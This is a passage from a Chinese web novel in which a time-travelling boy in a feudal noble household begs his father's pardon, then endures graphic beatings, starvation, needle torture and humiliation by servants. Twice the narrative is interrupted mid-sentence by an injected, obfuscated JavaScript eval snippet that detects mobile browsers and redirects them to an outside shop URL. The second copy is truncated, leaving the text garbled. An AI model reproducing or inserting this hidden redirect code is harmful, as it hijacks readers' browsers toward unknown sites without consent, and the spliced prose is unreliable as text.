。往后的日子要怎么过,就看你怎么说怎么做了······” 老太太话还没说完,只见一个七八岁刚留头的小女孩悄声走进来,圆脸粉腮,杏眼灵动流转,跟林雲一样的翘嘴巧唇,穿着精致飘逸,双手合端了一碗百合燕麦粥奉给老太太,还十分乖巧地说道:“祖母,我听元儿说您来西屋看四哥哥,等了您好半天都不见您回来,只好亲自来找您。还请您不要怪我未请之冒昧,蓉儿熬了粥请祖母尝,再等得久了,粥就凉了。”小女孩又转眼看了几眼林雲这边,又向老太太说道:“要教四哥哥时间有的是,今儿也晚了,祖母在这里喝粥或有些热潮,我扶您去我屋里怎样?” “好孩子,难为你想着我,”老太太命后边跟着的丫头端了粥,一把搂过孙女儿来,用面腮紧紧贴住小女孩儿的脸,很欣慰地说,“蓉姐儿大了也是个知冷知热的好心肠,我一见你啊,什么烦恼都没喽!” 雨蓉便两手抱住祖母,娇滴滴地回:“祖母从小教养我要知荣知耻、承养亲恩,弟子规里也说:‘父母呼,应勿缓;父母命,勤勿懒;父母教,须敬听;父母责,须顺承。’,我能承欢祖母膝下,孝顺祖母,是我的福气。” “瞧瞧我的好孙女儿呦!这才是知仁懂礼呢。好孩子,你去屋里等着,我和你四哥儿说句话就过去。”随后便命屈嬷嬷领雨蓉回她的东廊房去。 雨蓉躬身告退,还不忘转过身来向林雲道:“那几日四哥哥病着,老太太怕人带进冷气来,不许我们探望。今日小妹斗胆进来,还望哥哥见谅,一会儿我打发人来也给哥哥送粥来尝尝。”然后才让屈嬷嬷手牵着慢步去了。 “你看到了吧,你七岁的亲妹子都比你强,都知道敬亲事孝德之本也的道理呢。你自己也想想,在这府里,你没有你父亲的庇护,我一个老婆子能如何护你!日后蓉姐儿大了,还指望你这个亲哥哥提携帮伴呢,你自己都不上进、不进取,哪能承望得上你?别人都有亲兄姊妹和娘亲,只有你和蓉儿是孤单单的两个人。若是你这个做哥哥的再走了,蓉儿有我一日便不愁一日,可我护不了她一辈子,终究还是得有侯府之人照应着她。你就算不替你自己想,你也不替亲妹妹想吗?咱们家现成的例子不是吗,雨菡正是有得力的娘亲和舅舅,才能高嫁给李府独子,李大人深情,自夫人去后再未续弦,其子以后就算不取功名,也一辈子不愁吃喝,你雨菡姐姐一嫁进去,就是内府正牌夫人,管家大权在握,又有娘舅倚靠,什么都不怕的。你大姐姐雨萌虽嫁了国公府,却是个不受宠的庶子,跟着受多少罪多少苦,在自个儿家里掌上明珠似的,可你大娘子眼见衰弱,你大哥哥也不成器,你雨萌姐姐去了国公府过得又是什么日子呢!雨蓉以后能巴望得上的只有你,你不争气,她以后就是孤军奋战,可怜着呢!” 说完,老太太站起身准备回雨蓉屋里去,叹了口气说道:“我今儿话重,可本意不是要你伤心,你好好养着,身子最要紧。” 53.醒心 十六 十六 这间屋里又归于沉静了。 林雲却在一片杂乱的思绪里难以平静下来。 他总算真正感受到了封建社会那种冰冷的人伦关系对人窒息般的压迫了。他始终未能与偌大的林府宅院脱离开来,不仅仅是因为自己尚未成年,还需家人的照顾和养育,更多的因素来源于宗族社会体系下自己难以完全摆脱对其金钱和地位的依托。若不是林府还留有偏院让他住,每个月还给他例银和米粮,那他怎么可能存活下来呢。在现代社会里他失去了母亲尚且煎熬得难以为继,就算是福利院愿意接收他,或者政府有发补助,那他的日子兴许会好过些,但绝不会像杜明那样无忧无虑。父亲,父亲,对他多无情的字眼呢,可也不得不承认若不是这两个字的庇佑,他的性命早就休矣!祖母说得对,“千金之子,坐不垂堂”“家有万贯,身值万贯”,只有获得父亲的首肯,他才能在这吃人的社会立足,他没有性命去挥霍,想要活下去,想要在封建礼教和父权的重重压迫下活下去,凭着自己的一腔对自由和生活的热爱是完不成的,唯有依靠,依靠残存的求生意志乞求这个大家族给予他一点喘息的机会,他才能活下去。 以前遇到熟识的人会说载轩很命苦,他觉得不对,他的命不是苦,是悲。 以前悲在和母亲相依为命,却不料母亲撒手人寰,独留他孤伶伶地与寒风霜雨相抗衡。 现在穿越回前世来,万悲丛生,掐灭了他那点心里的孤傲和不与世俗合流同污的念头,他不得不接受现实,接受以规行矩步、委曲求全、忍辱负重来换取生的可能。 他明白了:在这个世上,不能自由掌握自己命运的痛苦丝毫不比失去亲人更少一些。 所以他在接下来养伤的日子里更加寡言少语,行动也懒懒的,总是看一会儿书便发起呆来,或者坐到窗口去,用艳羡的目光追随着叽叽喳喳的麻雀飞上飞下。 老太太没有再来看他,而是命他好一些了就晨昏定省按时去请安,吃饭也是和老太太、雨蓉一桌同坐。尽管他很不自在,可也强迫着像雨蓉那般做一个安静懂事的孩子,学着该有的礼仪和言辞。 过了正月,天气一日日的暖和起来。这日正值二月十六是大娘子的生辰。往年到了这天,林将军若无公干,便由林震、林霓他们陪在静玉堂一日看戏吃酒,虽是母亲生日,但林震他们有父亲在也甚觉拘束,柳氏更是淡淡的。甚至有那么两三年,因身子不快,取消了所有的行乐之礼,只子女们拜寿贺礼而已。 今年老太太提议,正是大娘子柳氏五九之年,该是好好办一场寿宴才对。于是林将军也就是着明宅老于内院大厅料理了几桌酒席,款待岳父一家和亲友众人。 之前老太太怕林将军还对林雲有怒气,总是找借口避开了两人直接见面。可这次家宴,老太太提前给林雲做了新衣,让屈嬷嬷教了他一应的规矩,出来见客。 林将军大娘子他们见了林雲亦来拜寿,不免先是有些吃惊,由于他伤势刚愈,面庞怯弱、身体单薄,举止也甚是拘谨,林将军也未为难他,只是很冷淡地命他同哥哥们入座。 入夜后,林将军他们送客毕。林雲便自己一个人去前院外书房找林将军了。其实老太太自上次训话后,也并未与林雲再叙说过什么家常话,孙子孙女儿多了,老太太除了对养在自己身边的雨蓉甚为怜爱外,其余的孩子们虽看着喜欢,可都不怎么亲近,再者他们都有亲母教养,也不需要老人家再多费劲管教。林雲也是一样,先前同生母吴氏在一起,老太太不喜欢吴氏,也没有多喜欢跟在吴氏后头那个男孩儿,对他自然不关注也不熟知,所以现在住在一起,也没什么共同语言。日常也就是他去请安问候,林雲也少言少语,一副生无可恋的样子,激不起老太太的慈爱来。这次他来,完全是他自己的主意。祖母要他认错,他想通了便去认错,起码自己主动些好过再被说教的好。 屈灵倒是在他悄悄出去后,让个十四岁的小子跟在后头了。 林雲在父亲书房门口静等了一两分钟,定定心,敲门,里面有个脆亮的男声向门口这边走来问:“外头的宏二呢?有人来了也不禀报一声吗?” 林雲在前院遇到了好几个仆从,尤其是恰巧碰到几个管家指挥着下人们搬回大圆桌等一应陈设,他们带着一种好奇的眼神打量他并询问他“哪里去”,他只是淡淡地回应:“去服侍父亲。”宏二亦是他不许通传、支使开的。 付勇开了门,见是林雲,忙往里让,并在关上门之后小跑进里间告诉了林将军。林雲未进到里边,就先褪去了外衣裤鞋袜,只着了中衣和内里小衣。宏二喘着大气此时也小心进来,手里拿了一根三尺长的带刺荆条,交给林雲。林雲便双手举着荆条,低头进来跪倒在地下,说:“雲儿今日特来负荆请罪。过去三年,雲儿不孝,屡屡顶撞父亲致使父亲气结于胸,数犯家法,爹爹心慈念我丧母心痛不忍痛罚,可我不知悔改,仍与父亲违逆赌气,实枉顾诗书圣言、人子伦常之情。现经大难之后,父亲同祖母仍看待如常,雲儿已幡然醒悟,再不会如以前那样了,还请父亲饶恕我过往之错!孩儿请爹爹责罚。” 侧坐在榻上闭目养神的林将军听到屈灵说“四少爷雲哥儿来了”,没有睁眼也没有动弹,直到林雲说完,才微微睁开眼,冷笑道:“太阳打西边上来了!你林雲能说出这番话来,是老太太教你的么?” “老太太救命之恩我定当永世不忘,我亦是在老太太的教导下才明白过来父亲为我已是操尽了心,我却辜负父亲一番苦心,孩儿真的知错了。”林雲头低低的,眼圈已经红了,双手仍把荆条举的高高的,带了哭腔的回道。他委屈吗?自然委屈,他要为封建主义的“存天理,灭人欲”而违心认错,以后要收起自己向往自然和谐的小心思,全力挤进这座深宅大院的勾心斗角中,逆来顺受、饮泣吞声以换取父亲的垂怜和庇佑;这将是艰难的开始,也是少不更事的结束,自此他再不能只以自己的心意为重,要学会看人脸色,要懂得“识时务为俊杰”,要收敛起锋芒和矜骄来,得处处小心、时时注意,得学会示弱和缄默。 林将军坐起身来,面上仍看不出什么形色,瘪着嘴,看到林雲举着的荆条有些微微的颤抖,开口道:“还是老太太会调教,一个不知天高地厚的混小子也能教导的如此彬彬有礼起来,自愧弗如啊!” “我知道父亲还不肯原谅我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376025|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论父亲如何责罚,孩儿自当认罚,再不敢生怨言。” “你伤好了?”林将军半倚着靠枕问道。 “在老太太那儿一应起居饮食均是您和祖母派人照料的,下人们照顾细致,伤已全好。若是我独留偏院,恐怕早已不能再见父亲。” “哼,你个孽障不是很有骨气吗?自己又能修屋又能种菜,我见你过得还很滋润自在呢。那次是你说要自己待在偏院的,怎么反悔了?”林将军反问他。 “以前······我不懂事,还请,还请父亲宽宥。”林雲已掉下眼泪来,说话也低沉支吾起来。 “我不打你,你回你的偏院继续你无拘无束的日子去吧!”林将军无情地说道。 林雲颤巍巍地放下荆条,跪爬到林将军脚下,将头搁在伏地交叉的两手背上,哽咽着央求道:“我知道我做了很多错事,说错很多话,我孤恩负德、不识抬举,还求父亲不要再赶我回去。偏院的日子实在艰难得很,此次受伤就是因为上山砍柴不慎遇了群狼,要不是夏哥哥赶去救我,我早狼口丧命。爹爹,爹爹不知,我冬天没有炭火,全靠自己砍柴才得以取暖做饭;自己又不会做什么吃的,两年多几乎没有吃饱过;穿的也是自己缝的粗布衣服,冬日里直往里面灌风;一到冬天便手脚生冻疮,又痒又疼,又无钱医治;病了全靠自己熬着,上山揪些药草来糊弄,三几次遇狼,若不是运气好,早化了白骨······求父亲开恩吧!不要赶我回去,我知错了,知道错了······” 林将军轻蔑地看了看脚下哭得软弱无力的儿子,抬起脚来,往他的肩头踹了一脚,恨骂道:“孽障,你也有今日!我还当你强得很呢,原来受几日磨挫就成了软骨头。有本事就再犟,再来啊!” 林雲被踹翻在地,脸上泪痕点点,此时更大气也不敢出,又腾挪到原来的位置,很卑微地抱住父亲刚刚踹他的脚说:“父亲要打就叫下人们来打,不要因责罚我而自动怒气,倘若因我而受疼,我的罪过就更大了。” 父亲用粗大的手掌扳起他的下巴,两眼盯住他怯弱的脸,捏的他的下颌骨都发疼,他不敢发出声音来,也不敢直视父亲,眼里仍不断流出清亮的眼泪来,倒显得有些楚楚可怜。林将军问他:“真知道错了?还是因为偏院的日子太苦才假意认错的?” “孩儿不敢欺瞒父亲。我真的知道错了,父亲若仍要罚我回偏院去,我不敢不从,哪怕被折磨致死,也再不敢忤逆父亲。但孩儿求父亲可怜我,再回去,我真的坚持不下去了。求父亲给条生路,给我个机会,让我得以报答父亲养育之恩、祖母救难之恩吧!”他苦苦哀求道。 “好,给你个机会,”林将军放开手,他的脸已经被捏红了,现出手指印来,然后又冷冷说道,“明日祠堂受刑,赎你罪过,罚到我满意为止。” “孩儿遵命。” “走!”只见林将军再不理会地上可怜的人儿,大步向门外走去,付勇也不敢言语,到了门外,用眼神示意两旁侍立的宏二和李琛,把四少爷弄回去。 林雲直等着再听不到脚步声才瘫坐在那儿,用手背抹了抹涕泪,宏二进来扶起他来,李琛帮着把衣服给他一件件穿好。 54.醒心 十七 十七 第二天一早,林雲就跪在了祠堂大殿上,脱去外衣鞋袜,似昨日那般等着父亲来责罚他。 昨夜里回去得晚,他不敢打扰老太太安寝,没有把这事回禀给老太太。他一夜翻来覆去,既痛恨自己为了在林家生存下去而屈膝媚骨,又焦虑第二天父亲会如何责难他。屈灵他们虽然在他身边侍候着,可多数情况下不会和他说这说那,况且,这段时间他自己也很沉默,屋子里总是静静的。他的心事竟没个出主意诉说之处,所以忐忑惶恐之下,第二天天还未亮,他睡了不足三个时辰就醒了。 屈灵睡在外间搭的床铺上,好像还睡得安稳,他也不忍去惊动那个一个多月来日夜守着他的侍从,就悄悄地坐起身,背靠着高枕想心事,等屈灵起来服侍他时,才发现他原来早醒了。屈灵小心地问:“少爷睡不着了?怎么醒来也不叫我?” “我看你睡得正好,我也没什么事,就不叫你了。”他懒懒地回,开始穿衣洗漱。昨天他父亲叫他去祠堂受刑,可也未交代什么时候去。他哪里敢问,又想:既是诚心去认错,那就去乖乖等着,若是再问别人,知道的人越多,自己脸上越是挂不住,也显得自己没什么诚意似的。自己在这府里,一无知心之人,二无人为之筹谋,身边连个得力伺候的人也一概都无,还不省省心地早去,若等着父亲叫了再去,惹恼了父亲,又不知会怎么为难他呢! 所以他只是洗了把脸,喝了几口水,和屈灵说:“你一会儿去告诉老太太,父亲叫我去祠堂受罚,就不过去和老太太请安了。” “小的知道了,那饭也不吃了?”屈灵昨夜里就听一路跟着他去前院的阮小弟把事情说过了,也早就把这事禀给了老太太。老太太沉吟了一会儿,告诉屈灵:“你也不必跟着他,让他去吧。” “不了······”他其实是想问问父亲他们究竟是个什么作息法的,但又想到,眼前的人都是老太太这边的,就算知道也未必告诉他,还是不要平白惹人白眼的好。于是他又告诉屈灵,“别跟着了,这段日子难为了你们为我如此尽心,谢谢。” 他想,若是父亲无情,说不定他回不来这里了。他摸不着父亲的性子,但通过这几次接触,他大概知道林将军对林雲这个儿子是不太上心和喜爱的,他也说不好今日一去会遭遇什么,或许会有生死之忧。 他一个人踏着熹微的晨光,来到林家祠堂。正面大殿里,供奉着林州堂之父及祖父几人,牌位和画像下方燃着一溜红烛,陈列着各样果品,殿内四面都有铜人举着燃灯,但这间阔朗的大殿仍是那么暗沉沉、阴森森的。 负责洒扫的下人们才刚刚开始工作,就见林雲只穿了内里衣裳,将外衣脱在靠近门口的地上,进来后跪在了供桌前的垫子上。这些人无不纳罕,交头接耳地小声议论了几句,快速打扫完毕就合上门出去了。 这是他穿越回来第一次进家祠,以前他只在电视和书上见过祠堂的样子,真正跪在这些先祖面前,他倒没有昨夜里的担心和忐忑,反而平静多了。那些故去人的画像中的眼看着他,他看着画像中陌生的面孔,他们隔了十个世纪,却在这间暗沉的屋里相遇了,彼此凝视着对方的眼眸,却怎么都难从对方眼神里搜索出历史发展的踪迹。他怀着那样一种莫名的遗憾,想起了母亲林芳清,他想起母亲说过:“我要死也要死在家里,你若是不带我回去,我一辈子都不原谅你。”直至母亲死去,他才带那个大肚圆坛里的母亲回到他们那个八十多平方米的家里,母亲也许真的不肯原谅他,但轮到他自己时,他也就理解了母亲那点病床上的执念。他们熙苑小区那套装修普通的住房是母亲心灵唯一的庇护所,她只想在自己病重时将自己那不肯轻易示人的破碎的心安放回去,只想将自己枯败荼靡的躯体拖回去不愿让更多人看到,而他,却那么不解母亲的心意。他跪在这些红色的烛火面前,看到母亲仿佛被那摇曳的火光焚得剧痛无比,在一声声地咒骂着、哀嚎着,完全是他没有看到过的疯癫模样。他在一帧一帧的想象画面里,似乎感应到了和母亲躺在病床上一样的绝望和心痛,他那么迫切地想回去,回到熙苑小区那间空荡冷清的家里,很想蜷缩在母亲的大床上裹紧被子藏在里面。 的确这间大殿是有些冷,他又脱去了外衣,单薄的衣衫使得他紧缩着身体;腹内的空响也让他越来越难支撑下去。但他已经迈出了这一步,没有回头之路了。他只好咀嚼着往事,命令自己耐心等下去。 可跪在这里的时间静止了一般,他的脑海里已经走马了人生的大半,屋外却少有动静。他等着,等着,将一个个往事的可能重演,可无论怎么联想,似乎他的命运都像眼前这大殿一般死气沉沉,看不到光明的前景。他也畅想过今日以后会怎样,但习惯了悲剧开场的戏码,他不敢再对未来抱什么希望,惟愿平淡了此一生。 在无尽的等待中,他昏沉地歪在垫子上睡过去一阵,时间还是过得那么慢。 直到夜幕降临,林将军才带着全家人浩浩荡荡地来了。他听到脚步声,赶忙将自己乏累的身体跪直,尽管一天水米未进,仍强打起精神来应对。 这一群人进来后按照男女分列两排站定,小厮们端来两把圈椅,放在供桌下边,林雲自觉又往后跪着退了一米多。老太太没有来,林将军和大娘子坐定后,林雲在家人的注视下更是头也抬不起来了。 “启东,给他纸笔,让他写下自己所犯家法。”林将军开口向一旁站立的管家命令道。 他不知道林家家法有哪些,猜大抵是那些叔兄人伦、尊师敬长一类。于是提笔写下自己认为的所谓错事。 白管家看他写完后转递给林将军,林将军只看了几行,就怒着脸揪扯成一团,砸在了他身上,斥骂道:“畜生,你写的什么不通文意话!几年不读书,连自悔书都不会写了!” “我错了,我错了。”林雲跪伏在地下,声音颤微微的。 “你那手不用要了。”林将军沉着声音,用眼神示意在殿外侍立的几个壮汉进来。 于是就有两个壮硕的男人一人押了他的一只臂膀,扼着他的腕子,使其手心向上伸出手来。白管家拿了一板两寸宽尺把长的檀木戒尺,走近他身前。他也不敢看,只听那板子带着风一下一下地打到他的手掌上。 他上小学很乖,记忆里老师从未打过手板,只有妈妈,在他不认真练琴时打过他那么几次,戒尺的滋味他是尝过的。但从宽幅的衣衫身影里,他看得出白管家是个高个硬实的肌肉汉子,且白管家确实是用了十成的力道在戒尺上,每一板都打得有声有势。 头几下他还硬忍着不喊出来,自然他也不敢缩起手指来,若是打在手指上,那会更疼。 但越打越痛,他已经开始想要挣扎痛呼了,左右按着他的那两名壮汉却也是下了足够的力道是他动弹不得,一看出他想缩手指,便下死劲摁他的手腕。 他开始“啊、啊”地惨叫起来,实在太疼了,手掌已经在板子的呼啸声中高高肿起。 但父亲才是刚开始罚他,还仅是因为他的自悔书写得不够好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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很快,他的声音越来越弱,好像也明白父亲是铁定了心要打烂他的手掌,也不再苦求,转而是有一声没一声的呻吟了。但就在第二次责打了三四十下后,他的手掌已经血肉模糊了,飞溅出来的血珠溅到他的两只袖子上,白色素衣上仿佛开了米珠般的红绣花,他也疲软地发不出什么有力的回应了,他惨白的脸在火红的烛光映照下也显得如同白蜡一样。 雨蓉见此情景早就泣不成声,“扑通”一声跪下,哽咽着哭道:“爹爹饶了四哥哥吧······” 玉姨娘先前就准备求情,想到之前敏儿说的,按耐住了那股冲动。可现在实在看不下眼了,也忙跪下求情道:“侯爷,四少爷知错也必肯改,已经见血了,侯爷快停手吧,再这样下去······”说着嘤嘤地哭起来。 贺小娘见状,和林霁两个人也一同跪下来高声求情,一时间其余人也都跪下了。大娘子柳氏也缓缓站起身,跪在椅旁说道:“侯爷,看在我的薄面上,今天就暂到这儿吧。” 林将军见众人都在为他求情央告,也就示意白启东停手,那两名壮汉也撤下手退到殿外了。 林雲失去助力,毫无气力地一下子栽倒在地上。 林将军才又冷着脸说道:“今天有大娘子他们替你求情,我暂且饶了你。可你无法无天,又屡犯家法,却连家中的规矩都忘得一干二净,实在可恨。兰儿,把你院中的赵嬷嬷借来,好好地教教林雲吧。” 随后便命手下的两个侍从将林雲关到了祠堂旁边的一间厢房,并让栖芳阁的赵嬷嬷每日去教导林雲家中规矩。其他人在这场刑罚中也心有余悸,一一顺从地回到各自院中了。 55.醒心 十九 十九 林氏祠堂一排房间日常均无人居住,林雲被关的那间厢房紧挨着宗祠大殿,平时没人打扫,一进去灰尘扑面,很是灰暗,也没甚家具器物,十分空荡。那两名侍从像丢破布一般将林雲丢在靠墙的一角随后出去了。 家中上下通过这一场刑罚也都看明白了林将军对待林雲的态度,既是林将军有意不使他好过,其他人也就有样学样地作贱起他来。 足是过去了大半天,才有人为他请来大夫疗治伤势。明老见屋里着实不成样子,才命人简单打扫擦洗了下地面围墙,又给他搬了一张木架床和一套朴素简薄的被褥。这次请的大夫只是外面的一个大夫,以为他只是个糊涂犯事的下人,不便说什么,将他的手掌敷过药,用纱布包扎好,开了些汤剂和敷药便走了。 谁知那些送饭送药的小厮忒可恶,不仅看着他手上负伤行动不便一点儿都不管,甚至还故意折磨戏弄他。端的水杯离他唇边好远,让他探出身子去够,他稍一离近,那小厮又故意拿远一些,他够了几次够不着,还要听对方一顿嘲笑。明知对方如此放肆,他却不敢说更不敢骂。那夜小厮喂他喝粥,一汤匙下去差点烧破他的喉咙,他只是说了句:“烫嘴,凉凉再喝吧。”那小厮冷笑两声讥讽道:“嫌烫嘴呢,吃冷饭的日子还在后头!”果然自第二日起,除了清粥和一两碟小菜外,什么都没了,且箸筷汤匙都没了,小厮把食盘往他枕边空处一搁,抬脚就走,根本不理会他能否自行吃饭服药。他也只好打碎牙往肚子里咽,用手腕端起那碗粥,或者把嘴凑近碗边,想办法把没几粒米的粥喝下去。 赵嬷嬷是全府公认和出了名的厉害能人,不仅治下人有一手,十几年来调教出的丫头女使被派往各院都得好口碑,而且对主子们也是该劝则劝、该谏实谏,说话明白有理又直爽,对民间讲究和风水义理也较老一辈的知道得多些;主理栖芳阁十来年了也没出过一点纰漏,帮着贺小娘将院里一应事物处理得妥妥当当。别的院里要是有了什么不合规矩或是要请教的地方,也通常会请出她老人家来去指点指点。当然这个嬷嬷是一进院中就待在贺小娘身边伺候的,也可谓是其爪牙了。 林将军上次和老太太对谈之后,也对贺小娘起了疑,但观察过后又觉得贺兰儿实非狠毒之人,于是借着林雲认错一事,也想看看贺氏是否会对林雲下手。 贺氏虽聪慧,毕竟在老太太院中还没有插进去得力的人手,那次所谈她还不知。况且这二十四年以来,老太太虽对她没有多满意,可她们之间到底还是相处较为和谐的,没有爆发过一次冲突,她懂得如何虚与委蛇、做小伏低来掩藏自己的意图。所以听到林将军要借赵嬷嬷去整治林雲,心里早得意起来。不过,她也特意交代过赵嬷嬷,不可使之身上有伤,暗暗下些毒手,点到为止。 赵嬷嬷本就狠厉之人,见五六日过去,林雲稍有些精神了,便日日上午过去,命其跪坐在床上背诵家法,直至夜深才离开。 林雲经此一次,原来刚病愈的身体更加瘦弱了,再加上被关在这间厢房里,每日只有两碗清粥,下人们又不善,他前几天昏昏沉沉、脑子也不够清醒。这家法条目居多又好几条重复琐杂的,他竟背了两天多,还是漏了这句忘了那句的。 赵嬷嬷便叫来一人,拿了一排缝衣针盯住他背。他手又不能动不能写,除了死记外别无他法。偏偏这家法绕来绕去无外乎那些纲常伦理,话却绕口不好记,比物理化学方程式还难一字一句弄清楚。赵嬷嬷考他,他一背就出错,赵嬷嬷叫来的那人就用针扎他的腋下、大腿内侧等较为娇嫩的皮肤,背错一处扎一次。他疼得大叫,赵嬷嬷又训道:“雲哥儿,挨了打还不长记性,家法里明写了‘受罚时不可痛呼出声,否则刑罚加倍。’背了两天多,这点东西还记不清,真可惜了钟灵毓秀的人品,中看不中用!”训完,还跟来的那小子说道:“肖峰,好好帮帮你的前主子!”于是那人又狠命拿针往那细嫩处扎了几下,每一针都扎进去半寸多再猛的拔出。 他不敢再喊疼,只咬紧嘴唇硬忍着。他在肖峰一进来时就认出来了,肖峰跟以前差不多,还是黄瘦黄瘦的,容长脸,小眼睛,但看起来没有以前活泼,憔悴了许多,而且看他的眼神里完全没有以前的温柔和顺,是一种异常冰冷的厌恶之情。他本来见了肖峰还挺高兴的,这七八天他过得不人不鬼的,跟囚犯差不两样,见了自己以前的院里人,尤其是看到肖峰全须全尾地站在跟前,不由得产生一股亲近之意。可再一看到赵嬷嬷绷着脸、立着眉,他又立刻百般小心起来。可也没料到,肖峰是赵嬷嬷特意叫来治他的,肖峰瘦骨嶙峋的手很有劲儿地拉开他的胳膊和大腿,用力扎向他的针一点犹豫都没有,好像根本没有主仆情意似的。他原本还想趁着赵嬷嬷不在的时候和肖峰重拾旧日之谊,可眼下被如此对待,心也彻底凉下来了。最难揣测是人心,岂料沧桑变化多。 背家法、学礼仪、正衣冠······赵嬷嬷倒是有条不紊地每日推行着自己教学的内容,可苦了林雲了,那点没记全这点又要进行了,身上几处被针扎得都是血点子,但不细看别人又发觉不了。赵嬷嬷看林将军也没什么意思问他学得怎么样,以为弃之不顾了,更让肖峰大着胆子欺辱他。若是他有一点反抗之意,手段更毒辣一层。他只恨自己力弱,面对这样的处境犹如面板上的鱼肉一般任人宰割,竟毫无还手之力。 又一日,赵嬷嬷命他反复练习跪拜之礼,他从房间这头到那头,短短数米,却要来回拜够九十回才放他上床去休息。一个下午,肖峰都斜坐在门槛旁的小杌子上,目不转睛地盯着他来回行礼跪拜。本来这大礼是给尊长所行的,可后来肖峰不耐烦,竟要求林雲面向他所行此礼,还美名曰:顾察礼节之正视,不拘身份之所限。林雲不敢说什么,上次他趁着赵嬷嬷不在时,红着眼圈问肖峰:“晓峰,你忘了我了吗?就算你现在服侍别人了也没必要对我这么无情吧?”肖峰却不回话,取了三四根针捏在手里,一齐扎进了他的肋下,反复扎了他两三次才冷冷地说:“四少爷在我落难时不也无情得不闻不问吗?我受过的苦可比你多得多了。况且我帮您学规矩,没有心肠替你打幌子。”他很想辩解,但看到肖峰那股厌恶的神情,也不再提起旧话了。他想到,肖峰那日被拖走定是受了许多苦头,而他不是对肖峰无情,是没有能力去帮助他脱离困境,况且他自己现在都任由人随意摆弄欺凌,无力自保呢。所以他知道就算肖峰念旧情不来折磨他,也会有别人来骑到他头上作威作福,任谁他现在也好过不了,只是面对以前这张处处维护他的稚嫩的脸现在愈发成熟了也愈发冷酷了,他的心里没有那么好受。他乖顺地向着肖峰那面拜下去,可肖峰还觉不满意,让他再走近一些再拜。往返几次,肖峰次次指出他这里不对那里不行,翘着脚仍要他继续。 直到送饭来的小厮凡玖推门进来,肖峰才慌忙站起身,陪笑道:“玖哥今儿有空来送饭啊,怎么蒙儿他们几个没过来呢?”那小厮看了眼仍规行矩步地做着僵硬的动作的林雲,把食盘放到刚刚肖峰坐着的小杌子上,转身准备出去顺道回了一句:“他们今儿随主君主母上清源寺了,晚上估计回得晚,大厨房看没人顾这里,派我来了。” 林雲仍不敢停下,肖峰下手之狠已领教过了,自己被关在这儿,连老太太似乎也忘了他的存在了,龙游浅水遭虾戏,虎落平阳被犬欺,能少给自己添些罪受就少添些吧。 肖峰待凡玖走后合上门,背靠着一根柱子,抱着手又强使他走了二十多回才放过他,然后“当啷”一声把门甩上,上了锁走了。 这个时候天色已黑,外面不怎么听闻有人来往的说话声和脚步声了,偶尔悄地出现一两声鸟啼划破了寂静的夜色。屋里全暗了,也没有灯,林雲疲惫地只想躺下休息,更何况自被关进这里来,他只有内衣穿,刚进了三月,一早一晚天气还很凉,他也急需窝进被里暖和暖和。 才过了一会儿,他刚把眼合上养神,门哗啦又开了。一听又是肖峰匆匆的脚步声,他心里一惊,用手肘撑着爬起半个身子来,肖峰端了药已经站到他的床边了。 肖峰把药碗搁在他的床边,催促道:“快喝!没人了又把我支使来,我还饿着肚子空跑呢。” 但他饭还未吃,空肚子服药怕又会吐出来,小声嗫嚅道:“容我先吃了饭,再一喝药,烦你多等我一下子。” 这时肖峰才一转头看见门旁还放着食盘没有动,他走过去一手端起折返回他的床边,又是一放,有些粥水经摇晃都洒了些出来。 林雲的手掌还缠着厚厚的纱布,几根手指也还是能轻微动动。他凑近粥碗,用两个手腕的力量托起碗来往嘴边送。肖峰却一把把碗抢走,将食盘里两小碟发黑的菜倒进碗里,用食指搅了搅,将那根蘸了粥水的黏糊糊的手指递到林雲唇边。林雲不可置信地抬起头,暗黑的身影让他有些陌生的害怕,“啪”一巴掌就落到他的脸上,打得他猝不及防,身子也跟着往下一沉。“林雲,你有今天是你活该,舔干净!”肖峰发出甚为冰冷的命令。 这些日子他被欺负不是一次两次,可也还没有人直接上手打过他的脸。 他强忍着委屈,顺从地抬起头,开始舔舐着肖峰的那根手指。 可不知道什么时候林将军和付勇却从开着的门里悄声溜进来,屋里外面均是暗的,肖峰和林雲也没有注意到有人进来还注视着发生的一切。 付勇看不下去,一脚过来冲肖峰的腰窝踹去,肖峰还享受在林雲为他清理手指的巨大的满足感里,不想被踹翻在地,那碗粥都倾在了林雲的被褥上。 林雲也一惊,将身体往墙那边挪了挪,也看不清来人是谁,更害怕有人有意拿这事泼浑水给他,吓得胆寒,不禁发起抖来。 外面七八个侍从听到屋里的动静进来几个,另外的取了灯也跟进来。 付勇又抓起肖峰的细胳膊,骂道:“真是个不要脸的东西!‘林雲’二字也是你随便叫的,还敢如此欺辱你的主子,你的脑袋太沉不想要了直说!” 等灯光照亮了屋子,林雲才看见地下站着好多侍卫和他一脸严肃的父亲,他赶忙钻出被子,跪到地下行礼问好并解释道:“父亲万安,屋里光线不好,刚刚我没能看到父亲亲临,还望父亲饶恕。”< 